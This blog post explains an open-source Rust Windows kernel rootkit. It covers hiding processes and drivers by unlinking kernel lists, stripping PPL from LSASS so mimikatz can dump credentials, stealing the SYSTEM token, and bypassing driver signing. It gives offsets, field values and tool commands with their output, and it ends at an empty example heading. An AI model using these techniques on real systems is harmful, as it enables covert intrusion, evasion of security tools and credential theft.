Rusty Windows Kernel Rootkit

Posted on Aug 3, 2022

Introduction

This post will go through some of the basic rootkit techniques, using one of the first publicly available rootkits made in Rust as a proof of concept https://github.com/memN0ps/rootkit-rs/. Many anti-cheats and EDRs are utilizing Windows kernel drivers using rootkit-like techniques to detect game hackers or adversaries. However, this is a cat and mouse game, and the game hackers and malware authors have been years ahead of the industry. Why was this made? For fun, learning, to demonstrate the power of Rust and because Rust is awesome. This post assumes that the reader understands the basics of how Windows Kernel programming and how device drivers work. However, if the reader does not feel confident then a recommended post would be https://memn0ps.github.io/Kernel-Mode-Rootkits/.

Why Rust? Well, why not?

a) Write less code that’s high-level, fast, memory safe, and robust to achieve low-level tasks, whilst being able cross-compile and avoid dependency problems. b) Game hackers have started using it and it’s challenging to reverse. Check out BlackHat Rust by @SylvainKerkour

PatchGuard / Kernel Patch Protection

PatchGuard, also known as Kernel Patch Protection, is a security feature present in Windows to protect the Windows Kernel against unauthorized modification and tampering. PatchGuard works by periodically checking Windows Kernel data structures that Microsoft deems sensitive and if they’re modified or tampered then it will trigger a bug check and crash the operating system. However, one flaw in PatchGuard is that because the periodic checking is a computationally intensive task, PatchGuard does not constantly check if unauthorized modifications have been made to protected regions. There is even no guarantee that Patchguard will ever detect and crash the system. This allows an attacker to modify a protection region and change it back without PatchGuard flagging it, kind of like a type of race condition. Since we don’t know when PatchGuard will perform the next check, it’s a bit risky, although we can reduce this risk by narrowing the window of time a protected region stays modified. PatchGuard does not work if Windows is put into test signing/kernel debugging mode and is effectively disabled. More memory protections have been put into Windows 11, that won’t be covered in this post due to the vast cutting-edge knowledge and time required.

Exercise for the reader:

Direct Kernel Object Manipulation (DKOM)

The operating system stores information in the form of structures of objects and when a user-mode process requests this information such as a list of Kernel drivers, threads, or processes, they’re sent back to the user-mode process and since they’re just structures/objects in memory you can change/alter them directly without any form of hooking. However, these are protected by PatchGuard in the modern version of Windows.

Hide Process Theory: Direct Kernel Object Manipulation (DKOM)

A interesting technique we can use in our rootkit is to hide or unlink a target process, which will be hidden from AVs, EDRs and anti-cheats. We won’t be able to see this in the Windows Task Manager, or when we use Get-Process from Powershell. However, the downside of this technique is that it will trigger Patchguard.

To hide our process we need to understand a few Windows internal concepts, such as the EPROCESS data structure in the Windows kernel. EPROCESS is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version.

What we’re interested in is, ActiveProcessLinks, which is a pointer to a structure called LIST_ENTRY. We can’t just access this data structure normally like EPROCESS.ActiveProcessLinks, we have to use PsGetCurrentProcess to get the current EPROCESS and then add an offset that is version dependent. This is the downside to the EPROCESS structure. It can make it very hard to have a compatible Windows Kernel rootkit. However, there are many techniques used to dynamically find offsets, that won’t be covered in this post.

We can use Windbg to take a look a look at the data structure as shown below: (redacted for simplicity’s sake):

kd> dt nt!_EPROCESS
<..redacted...>
    +0x000 Pcb              : _KPROCESS
    +0x438 ProcessLock      : _EX_PUSH_LOCK
    +0x440 UniqueProcessId  : Ptr64 Void
    +0x448 ActiveProcessLinks : _LIST_ENTRY
<..redacted...>

The LIST_ENTRY data structure is a doubly-linked list, where FLINK (forward link) and BLINK are references to the next and previous elements in the doubly-linked list.

kd> dt _list_entry
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

The following is a visualization of the above:

d57db76ff82d9ac4eca7da256960d608.png Doubly Linked List

Using the information above, we can hide our process from being shown by manipulating the kernel data structures. Imagine we have 3 processes and their data structures are called EPROCESS 1, EPROCESS 2, and EPROCESS 3, and the data structure of process we want to hide is EPROCESS 2

To hide our process we can do the following:

  • Point the ActiveProcessLinks.FLINK of EPROCESS 1 to ActiveProcessLinks.FLINK of EPROCESS 3 .
  • Point ActiveProcessLinks.BLINK of EPROCESS 3 to ActiveProcessLinks.BLINK OF EPROCESS 1.

This will manipulate and unlink the data structure of our process from the doubly-linked list and make it invisible, a diagram of this is shown below:

97b2365bd1a7681898115da7a8da0dcc.png Hide Process

Hide Process Example

We can use process hacker to find the PowerShell process or we can use the command Get-Process -Name powershell to see if the process is running on the host.

bf87337abe5027c6dc3d6c3ecc370156.png

We can use the Rusty Rootkit to hide any process we like, such as powershell.exe, and once the process is hidden it should not show up in process hacker or when running the command Get-Process -Name powershell from Powershell.

PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] Process is hidden successfully: 6376

Here we can see that the process powershell.exe is not found in both process hacker and PowerShell itself.

64dfe5b6980830274ed23b1d4f264f17.png

Our process should be hidden from functions such as Toolhelp32Snapshot and ZwQuerySystemInformation that are often used by anti-cheats, AVs, and EDRs.

Note this will trigger PatchGuard

Hide Driver Theory: Direct Kernel Object Manipulation (DKOM)

Hiding a driver works in a similar fashion to hiding a process, the only major difference is how we obtain access to the LIST_ENTRY of the driver. Getting access to the EPROCESS data structure of the current process by calling PsGetCurrentProcess is simple but there is no such call to get the list of drivers.

The Driver Object is an argument passed into the driver’s main function. The driver object contains important information about the driver itself. The Driver Object contains an undocumented field called the DriverSection, which is what we’re interested in to hide our driver. As long we load our driver using the Service Control Manager (SCM), we can always get a pointer to the DRIVER_OBJECT in the DriverEntry() function. We can view the DRIVER_OBJECT using Windbg:

0: kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x008 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x010 Flags            : Uint4B
   +0x018 DriverStart      : Ptr64 Void
   +0x020 DriverSize       : Uint4B
   +0x028 DriverSection    : Ptr64 Void
   +0x030 DriverExtension  : Ptr64 _DRIVER_EXTENSION
   +0x038 DriverName       : _UNICODE_STRING
   +0x048 HardwareDatabase : Ptr64 _UNICODE_STRING
   +0x050 FastIoDispatch   : Ptr64 _FAST_IO_DISPATCH
   +0x058 DriverInit       : Ptr64     long 
   +0x060 DriverStartIo    : Ptr64     void 
   +0x068 DriverUnload     : Ptr64     void 
   +0x070 MajorFunction    : [28] Ptr64     long 

Once we access the DriverSection we can cast it to a pointer to LDR_DATA_TABLE_ENTRY: (redacted for simplicity):

0: kd> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x010 InMemoryOrderLinks : _LIST_ENTRY
   +0x020 InInitializationOrderLinks : _LIST_ENTRY
<..redacted..>

We can then access the LIST_ENTRY data structure and hide/unlink our driver making it invisible just like we did for the process.

kd> dt _list_entry
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

Using the information above, we can hide our driver from being shown by manipulating the kernel data structures. This is similar to hiding a process.

To hide our driver we can do the following:

  • Point the InLoadOrderLinks.FLINK of MODULE_ENTRY 1 to InLoadOrderLinks.FLINK of MODULE_ENTRY 3 .
  • Point InLoadOrderLinks.BLINK of MODULE_ENTRY 3 to InLoadOrderLinks.BLINK OF MODULE_ENTRY 1.

This will manipulate and unlink the data structure of our driver from the doubly-linked list and make it invisible, a diagram of this is shown below:

3193167f1660edcf38802c106f148a0a.png Hide Driver

Note this will trigger PatchGuard

Hide Driver Example

The following shows that the driver is hidden from ZwQuerySystemInformation and PsLoadedModuleList which can be used by anti-cheats or EDRs to running modules.

First, we we enumerate all the drivers on the system using PsLoadedModuleList. Here we can see a list of loaded modules, one of which is our rootkit Eagle.sys.

PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] Loaded modules enumerated successfully

We can hide the Eagle.sys:

PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] Driver hidden successfully

We can now enumerate the drivers using PsLoadedModuleList, which shows that our driver no longer exists.

PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] Loaded modules enumerated successfully

Process Protection Theory

Starting from Windows 8.1 Microsoft introduced system-protected processes, which was a new security feature in the Windows Kernel to defend against attacks on the system. This new security feature extends the protected process infrastructure that the previous version of Windows (Vista) used for playing Digital Rights Management (DRM) content, which worked by limiting the access you can obtain to a protected process (PROCESS_VM_READ). This new security feature turned into a general-purpose model that 3rd part anti-malware vendors could use.

You can use Process Explorer or Process Hacker to show the level of protection. The problem attackers can have with this protection is when it’s applied to LSASS.exe. This prevents attackers from dumping passwords from it, even when running as SYSTEM. However, this memory protection is not enabled by default on LSASS.exe and it is not an AV or EDR protection, it’s a Windows Kernel protection. The following shows that we get access denied when attempting to obtain a handle with enough privileges to query and read LSASS.exe memory.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Process Protection has a hierarchical level:

  1. Protected Process (PP) and Protected Process Light (PPL).
  2. A Signer that comes from the Enhanced Key Usage field of the digital signature used to sign the executable

Let’s look at the protection for crss.exe in this example. The LSASS.exe process will have similar protection if it’s enabled.

822b5e11d45863458e9bdc2598812694.png PsProtectedSignerWinTcb-Light

a4ea9c9dadcc0f88030de58b4a29b27c.png Signer

The data structures we’re interested in are shown below:

For more information we can view ZwQueryInformationProcess and it’s second parameter ProcessInformationClass .

“When the ProcessInformationClass parameter is ProcessProtectionInformation, the buffer pointed to by the ProcessInformation parameter should be large enough to hold a single PS_PROTECTION structure having the following layout:”

The following kernel structure named _PS_PROTECTION is stored in EPROCESS, which determines the protection levels of a process.

The information is stored in 2 parts of 2 bytes. The Level member is an unsigned 8-bit integer (unsigned char), which has 2 values known as SignatureLevel, which determines the signature requirements of the primary modules, and SectionSignatureLevel, which determines the minimum signature level requirements of a DLL to be loaded into a process.

The Type member is 3 bits, representing the protection type (_PS_PROTECTED_TYPE). These bits determine if a process is Protected Process (PP) or Protected Process Light (PPL).

The Signer member is 4 bits, representing the level of protection. These bits determines things like SignerNone SignerWinTcb or SignerMax as shown in the _PS_PROTECTED_SIGNER data structure.

typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;                  // Reserved
            UCHAR Signer : 4;
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;

The first 3 bits contain the type of protected process:

typedef enum _PS_PROTECTED_TYPE {
    PsProtectedTypeNone = 0,
    PsProtectedTypeProtectedLight = 1,
    PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;

The top 4 bits contain the protected process signer:

typedef enum _PS_PROTECTED_SIGNER {
    PsProtectedSignerNone = 0,      // 0
    PsProtectedSignerAuthenticode,  // 1
    PsProtectedSignerCodeGen,       // 2
    PsProtectedSignerAntimalware,   // 3
    PsProtectedSignerLsa,           // 4
    PsProtectedSignerWindows,       // 5
    PsProtectedSignerWinTcb,        // 6
    PsProtectedSignerWinSystem,     // 7
    PsProtectedSignerApp,           // 8
    PsProtectedSignerMax            // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;

The combination of the values in _PS_PROTECTED_SIGNER and _PS_PROTECTED_TYPE is used to determine the protection of a process. To simplify this a table is shown below:

78a12d064fe050c28cc87c9c0cac16fe.png Protection levels

In a nutshell, the Windows Kernel puts these protections in a certain ranked order, which means that the Protected Process (PP) privilege will be greater than Protected Process Light (PPL) privilege, so Protected Process Light (PPL) can never obtain full access to Protected Process (PP) regardless of its Signer.

This means that:

  1. The Protected Process (PP) privilege can obtain full access to another Protected Process (PP) privilege or Protected Process Light (PPL) given the Signer is equal or greater.
  2. The Protected Process Light (PPL) privilege can obtain full access to another Protected Process Light (PPL) if the Signer is equal to or greater.

The reasoning behind this is that even if you want to protect a process like LSASS.exe, other services that are more privileged still require access for it to work properly.

Protecting / Unprotecting

We can unprotect or protect the target process from our Windows Kernel rootkit by accessing the EPROCESS data structure. As discussed before the EPROCESS is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version.

We can view the EPROCESS structure in Windbg, what we’re interested in is the SignatureLevel, SectionSignatureLevel, and the Protection fields.

kd> dt nt!_EPROCESS
<...redacted...>
	+0x878 SignatureLevel   : UChar
	+0x879 SectionSignatureLevel : UChar
	+0x87a Protection       : _PS_PROTECTION
<...redacted...>

So how do we unprotect a process? To remove the protection of a process we can just set all of the following values to 0 and It’s as simple as that.

SignatureLevel = 0;
SectionSignatureLevel = 0;
Protection.Type = 0;
Protection.Signer = 0;

So how do we protect a process? To protect a process as PsProtectedSignerWinTcb we can change the values to the following:

SignatureLevel = 0x3f;
SectionSignatureLevel = 0x3f;
Protection.Type = 2; 	//Protected (2)
Protection.Audit = 0;
Protection.Signer = 6; //WinTcb (6)

Note that protecting a process does not magically grant access to the processes of other users, as it is only additional protection.

We can’t just get access to members using  EPROCESS->Protection, but we can use PsLookupProcessByProcessId to obtain access to the EPROCESS structure and then add an offset that is dynamically retrieved. Dynamically retrieving offsets can make the driver compatible across multiple OS builds and there are multiple ways to do that, that won’t be covered in this post.

Note this will NOT trigger PatchGuard

Exercises for the reader:

Process Protection Example

If lsass.exe is protected with Protected Process Light (PPL). We can protect mimikatz.exe with Protected Process (PP) and a signer level that is greater or equal to lsass.exe. This will allow us to dump credentials and bypass Protected Process Light (PPL).

We use notepad.exe in this example:

PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] Process protected successfully 2104

728819d7156bd969d37ec5fe0dedec21.png Protection: PsProtectedSignerWinTcb

Alternatively, we can remove the Protected Process Light (PPL) protection from lsass.exe if it has any. This will allow us to dump credentials normally. Note that, mimidrv.sys has this feature already but it will be flagged by AVs/EDRs/anit-cheats.

PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect
[+] Process unprotected successfully 2104

3e5ed98ead10f91a0ef170540d7be3fc.png Protection: None

Process Token Privileges Theory

The privileges a process has can be determined by an access token. An access token includes the identity and privileges of the user account associated with the process or thread. Process privileges determine the type of operations that a process can perform. A process running under a medium integrity context has fewer privileges than a process running under a high integrity context. A medium integrity process is one that has standard user rights and a high integrity process has administrator rights. Going from a medium integrity context high integrity is determined by User Account Control (UAC). When a process is in a high integrity context, it has more token privileges than a process in a medium integrity context and can perform additional tasks. Some of these token privileges are enabled by default and others are disabled, but they can be enabled by AdjustTokenPrivileges

Exercise for the reader:

We can run powershell.exe as a normal user and run "whoami /all" to see the process integrity and token privileges. The following shows that powershell.exe is Medium Mandatory Level:

PS C:\Users\memn0ps> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes
============================================================= ================ ============ ==================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Group used for deny only
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users                                 Alias            S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

UAC: Medium intergrity context

When we run-as-administrator, we will see a User Account Control (UAC) prompt. After clicking yes, the powershell.exe process should go from a medium to a high integrity context (right) and we will see additional token privileges.

6c7b9d7288b2b523b85a1f3add19c35b.png UAC

The following shows that powershell.exe is High Mandatory Level:

PS C:\Users\memn0ps\Desktop> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes

============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users                                 Alias            S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288



PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

UAC: High integrity context

We can take the following as an example: The SeDebugPrivilege is disabled when we’re in a high integrity context but it can be enabled when we run the token::elevate command in Mimikatz. However, a medium integrity process cannot enable it at all.

Process hacker also shows the token privileges of any process (powershell.exe) in this example. One is in a high integrity context and the other in a medium integrity context.

4f72100359db5107bf01ba08ccae5c4f.png

Exercise for the reader: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

Elevate

Once again, we can elevate our token privileges of a target process from our Windows Kernel rootkit by accessing the EPROCESS data structure. As discussed before the EPROCESS is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version. Note that the TOKEN has to be retrieved dynamically to avoid hard coding offsets and for compatibility across different Windows builds/versions.

We can view the EPROCESS structure in Windbg, what we’re interested in is the Token, attribute. The EX_FAST_REF is a pointer that points to the Token data structure.

kd> dt nt!_EPROCESS
<...redacted...>
   +0x4b8 Token            : _EX_FAST_REF
<...redacted...>

The Token attribute is also a large data structure and what we’re interested in is the Privileges attribute

kd> dt nt!_TOKEN
<...redacted...>
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
<...redacted...>

The Privileges attribute points to another data structure called _SEP_TOKEN_PRIVILEGES. These attributes can enable/disable different types of token privileges.

kd> dt nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

The best and easiest way to escalate, the integrity level, user privilege, and ALL token privileges of a process, rather than tampering with each one is to replace the low privileged process TOKEN  data structure with a high privileged process token data structure.

How can we do this? It’s actually very simple. We can get the process ID of the SYSTEM process (PID 4) and find its TOKEN address and replace it with the target process’ TOKEN address. Luckily the process ID of the SYSTEM process is always 4.

We can use PsLookupProcessByProcessId, which will return a referenced pointer to the EPROCESS data structure of the specified process ID and then we can use PsReferencePrimaryToken function to get a pointer to the TOKEN data structure of the specified EPROCESS.

Once we have a pointer to the TOKEN data structure of the SYSTEM process and our target process. We can overwrite the TOKEN pointer of our target process with the TOKEN pointer of the SYSTEM process.

This will escalate our process privileges to NT AUTHORITY\SYSTEM and enable all token privileges. This is a common technique used in many privileges escalation exploits for Windows, including Windows Kernel exploitation.

Process Token Privileges / Process Elevate Example

Here we can see that the process is running in a medium integrity context with default/ordinary token privileges.

PS C:\Users\memn0ps\Desktop> whoami /all

USER INFORMATION

================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes
============================================================= ================ ============ ==================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Group used for deny only
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users                                 Alias            S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Using our rootkit we can escalate these privileges of the process (powershell.exe).

PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] Tokens privileges elevated successfully 6376

We are now NT AUTHORITY\SYSTEM, the process is at a System Mandatory Level, and all token privileges are enabled.

PS C:\Users\memn0ps\Desktop> whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

PS C:\Users\memn0ps\Desktop>

Driver Signature Enforcement Theory

Since Windows 10 1607, Microsoft will not load kernel drivers unless they are signed via the Microsoft Development Portal. But if for developers this would mean getting an Extended Validation (EV) code signing certificate to sign your kernel driver that is handed out from providers such as DigiCert, and GlobalSign. Then you must join the Windows Hardware Developer Center program by submitting your Extended Validation (EV) code signing certificates and going through a vetting process. When they are accepted a driver needs to be signed by the developer with their EV cert and uploaded to the Microsoft Development Portal to be approved and signed by Microsoft. This is the “normal way” to load your driver.

Note that the downside of a signed driver is that it can be detected/blocked easily if AVs, EDRs, or anti-cheats obtain your signed certificate information. This will have a mass effect, depending on how many machines you have your rootkit loaded and depending on which AV/EDR/anti-cheat has blocked/detected it.

Manually mapping your driver works in a similar fashion to manual mapping your dll/exe and is more evasive than normally loading it. However, there are some downsides to that.

Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver such as Capcom or Intel:

Otherwise, you can always get an extended validation (EV) code signing certificate by Microsoft which goes through a “vetting” process or use a 0-day which is really up to you lol.

This is a very rigorous process designed to protect the Windows Kernel from malicious code/malware. However, this protection can be disabled by turning on test signing mode, which is usually done when developing a Windows kernel driver for testing/loading.

bcdedit.exe /set testsigning on

This configuration of Driver Signature Enforcement (DSE) is stored in the boot options which are protected by secure boot and windows reads this boot configuration and sets a flag in the kernel-memory, that is checked on future driver-load events. This memory region is called g_CiOptions and the value can be viewed via Windbg.

The value of g_CiOptions by default is 4 OR 2 aka 4 | 2 which equals 6 in hex. The value for g_CiOptions becomes 0 if DISABLE_INTEGRITY_CHECKS has been set and if TESTSIGNING is enabled the g_CiOptions value is 4 OR 2 OR 8 aka 4|2|8, which is E in hex.

 Driver Signature Enforcement (DSE) is controlled by this bit at run-time and if we can change this bit in memory from 6 to E we can bypass Driver Signature Enforcement (DSE) and load unsigned drivers. However, to do this we already need to have drivers loaded or have an arbitrary code execution vulnerability in the kernel such as write-what-where: https://connormcgarr.github.io/Kernel-Exploitation-2/ . This is a bit like the Chicken-and-egg situation.

To enable or disable DSE we need to access CI!g_CiOptions. There is a function called CiInitialize inside ci.dll, a Code Integrity Module, that will contain the address of g_CiOptions and this is something we will have to look for at runtime. How to retrieve the address of g_CiOptions will not be covered in this post.

We can use our rootkit to do this but note that this can trigger PatchGuard, so it’s important to disable DSE, load your driver and quickly reenable/revert it afterward to avoid triggering PatchGuard.

Driver Signature Enforcement Example

